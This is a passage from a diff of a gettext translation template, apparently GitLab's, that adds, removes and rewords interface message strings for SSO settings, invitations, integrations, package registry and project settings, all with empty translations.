+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18195,6 +18662,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20225,6 +20707,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,7 +20824,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20387,6 +20875,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20645,6 +21139,22 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21168,10 +21672,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21186,6 +21693,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,10 +23031,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,7 +23538,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23355,6 +23928,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
